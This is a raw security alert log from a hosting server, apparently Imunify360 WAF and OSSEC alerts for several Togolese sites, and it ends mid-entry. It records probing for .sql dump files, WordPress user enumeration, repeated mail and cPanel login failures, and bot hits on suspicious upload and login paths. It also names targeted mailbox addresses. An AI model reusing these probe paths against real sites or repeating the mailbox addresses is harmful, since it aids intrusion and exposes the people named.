[2026-06-14 21:11:55 +0000] info [cpaneld] 104.28.156.104 - esso "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/secrets.sql||User:pnls||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.41.176
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.252.41.176||TA:104.252.41.176||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.65.144
country_id: 2802361
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/togodailynews.tg:80/wp-admin/admin-ajax.php HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.165.128
country_id: 2077456
domain: www.voozanoo.pnls.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/sensitive.sql||User:pnls||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.72
country_id: 1880251
description:
47.128.121.72 - - [14/Jun/2026:21:15:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803672&pdata=https%253A%252F%252Ftogodailynews.tg%252Finfrastructure-socioeconomique-faure-gnassingbe-inaugure-le-nouveau-marche-central-de-kara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781471733 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/infrastructure-socioeconomique-faure-gnassingbe-inaugure-le-nouveau-marche-central-de-kara/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.72


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.203.198
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:38.154.203.198||TA:38.154.203.198||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.49.216
country_id: 6251999
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.252.49.216||TA:104.252.49.216||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.245.158.155
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:172.245.158.155||TA:172.245.158.155||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.208.37
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.253.208.37||TA:104.253.208.37||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.95.21.183
country_id: 6252001
domain: www.direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.231.12.190
country_id: 6252001
description:
2026-06-14 21:24:42 dovecot_plain authenticator failed for H=190.12.231.8.bc.googleusercontent.com (gk3voddlrxt8atdmp0wjk1wz) [8.231.12.190]:16384: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.159.176
country_id: 690791
description:
Jun 14 21:25:00 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.159.176 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.220
country_id: 99237
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.220
country_id: 99237
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:29:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:7488: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.37.163.145
country_id: 99237
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/mrtg/host-209-198-244-194.interpacket.net.html HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.16.202
country_id: 3932488
description:
[2026-06-14 21:30:25 +0000] info [whostmgrd] 179.6.16.202 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:30:49 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:7491: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.37.163.145
country_id: 99237
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/mrtg/host-209-198-244-194.interpacket.net.html HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:31:54 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:7502: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.104
country_id: 1880251
description:
[2026-06-14 21:32:27 +0000] info [cpaneld] 104.28.156.104 - esso "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:32:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:7508: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.145.212.232
country_id: 3469034
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=523 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.145.212.232
country_id: 3469034
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=523 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:34:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13059: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 217.181.70.77
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:35:08 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13113: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.246.104.192
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.246.104.192
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:36:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13165: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:37:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13113: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:38:28 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13148: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [14/Jun/2026:21:39:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870019&pdata=http%253A%252F%252Fwebmail.casierjudiciaire.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473196 HTTP/1.1" 404 561 webmail.casierjudiciaire.tg "http://webmail.casierjudiciaire.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:39:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13070: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:40:27 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13113: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 165.227.255.184
country_id: 6252001
description:
165.227.255.184 - - [14/Jun/2026:21:41:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869161&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F6ceb254a8cb5490cf313a3dfacf56698%252F20b8a46017f76205f06cbecfe393b213%252F714c81ee2d0a7acc45a6c14cc2395b67%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473300 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/6ceb254a8cb5490cf313a3dfacf56698/20b8a46017f76205f06cbecfe393b213/714c81ee2d0a7acc45a6c14cc2395b67/index.php?cmd=login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:165.227.255.184


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.80.89.35
country_id: 6252001
description:
23.80.89.35 - - [14/Jun/2026:21:41:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13419889&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252Ff3a3020310434ecafac47d1a395dcd36%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473304 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/f3a3020310434ecafac47d1a395dcd36/index.php?cmd=newupld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.80.89.35


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:41:28 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13182: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.89.216.7
country_id: 6252001
description:
159.89.216.7 - - [14/Jun/2026:21:41:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789993&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473307 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/index.php?cmd=newupld" "Mozilla/5.0 (Linux; arm_64; Android 15; 2311DRK48G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.89.216.7


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.80.89.37
country_id: 6252001
description:
23.80.89.37 - - [14/Jun/2026:21:41:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13223792&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473309 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/index.php?cmd=newupld" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.80.89.37


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 172.105.20.12
country_id: 6251999
description:
172.105.20.12 - - [14/Jun/2026:21:41:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343390&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Fffb26351ca0884cdba0fbb3b179a3b22%252Fb796193adc2ddcab2642e046563b2b9a%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473312 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/ffb26351ca0884cdba0fbb3b179a3b22/b796193adc2ddcab2642e046563b2b9a/index.php?cmd=login" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:172.105.20.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 57.129.134.29
country_id: 2635167
description:
57.129.134.29 - - [14/Jun/2026:21:41:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10327698&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252F662a44ecfad84f8900d4209f17cf6d72%252F3ab2e605cafab0f046b95d461a96be5c%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473314 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/662a44ecfad84f8900d4209f17cf6d72/3ab2e605cafab0f046b95d461a96be5c/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:57.129.134.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.89.220.43
country_id: 6252001
description:
159.89.220.43 - - [14/Jun/2026:21:41:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10273946&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252Ff3a3020310434ecafac47d1a395dcd36%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473315 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/f3a3020310434ecafac47d1a395dcd36/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.89.220.43


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 135.136.3.80
country_id: 6252001
description:
135.136.3.80 - - [14/Jun/2026:21:42:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776684&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F341167fea77beadc2c68115c2bca1713%252F2472c979c209f4210eb90f3ec0789f65%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473318 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/341167fea77beadc2c68115c2bca1713/2472c979c209f4210eb90f3ec0789f65/index.php?cmd=newupld" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:135.136.3.80


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 74.80.181.151
country_id: 6252001
description:
74.80.181.151 - - [14/Jun/2026:21:42:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920042&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473319 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:74.80.181.151


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 136.60.151.248
country_id: 6252001
description:
136.60.151.248 - - [14/Jun/2026:21:41:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724505&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F341167fea77beadc2c68115c2bca1713%252F2472c979c209f4210eb90f3ec0789f65%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473302 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/341167fea77beadc2c68115c2bca1713/2472c979c209f4210eb90f3ec0789f65/index.php?cmd=login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.60.151.248


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 68.235.45.44
country_id: 6252001
description:
68.235.45.44 - - [14/Jun/2026:21:41:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803977&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473311 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/index.php?cmd=newupld" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:68.235.45.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 217.61.227.222
country_id: 2510769
description:
217.61.227.222 - - [14/Jun/2026:21:41:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919321&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473291 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/index.php?cmd=login" "Mozilla/5.0 (Linux; arm_64; Android 16; SM-A165F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:217.61.227.222


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 97.178.186.23
country_id: 6252001
description:
97.178.186.23 - - [14/Jun/2026:21:41:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054555&pdata=https%253A%252F%252Fkpmg.tg%252F71fa419ddb91500bd6c40e52ac0c368c%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473293 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/71fa419ddb91500bd6c40e52ac0c368c/index.php?cmd=newupld" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:97.178.186.23


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.173.221.20
country_id: 6252001
description:
95.173.221.20 - - [14/Jun/2026:21:41:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449354&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Ff88a609383d0bb0d56f82f4d4e0d2cbc%252F417853272bb2bacf7bcf265417a39e3f%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473302 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/f88a609383d0bb0d56f82f4d4e0d2cbc/417853272bb2bacf7bcf265417a39e3f/index.php?cmd=login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.173.221.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.146.243.205
country_id: 6252001
description:
23.146.243.205 - - [14/Jun/2026:21:41:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212102&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473307 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/index.php?cmd=newupld" "Mozilla/5.0 (Linux; arm_64; Android 16; SM-A165F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.146.243.205


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 96.44.159.148
country_id: 6251999
description:
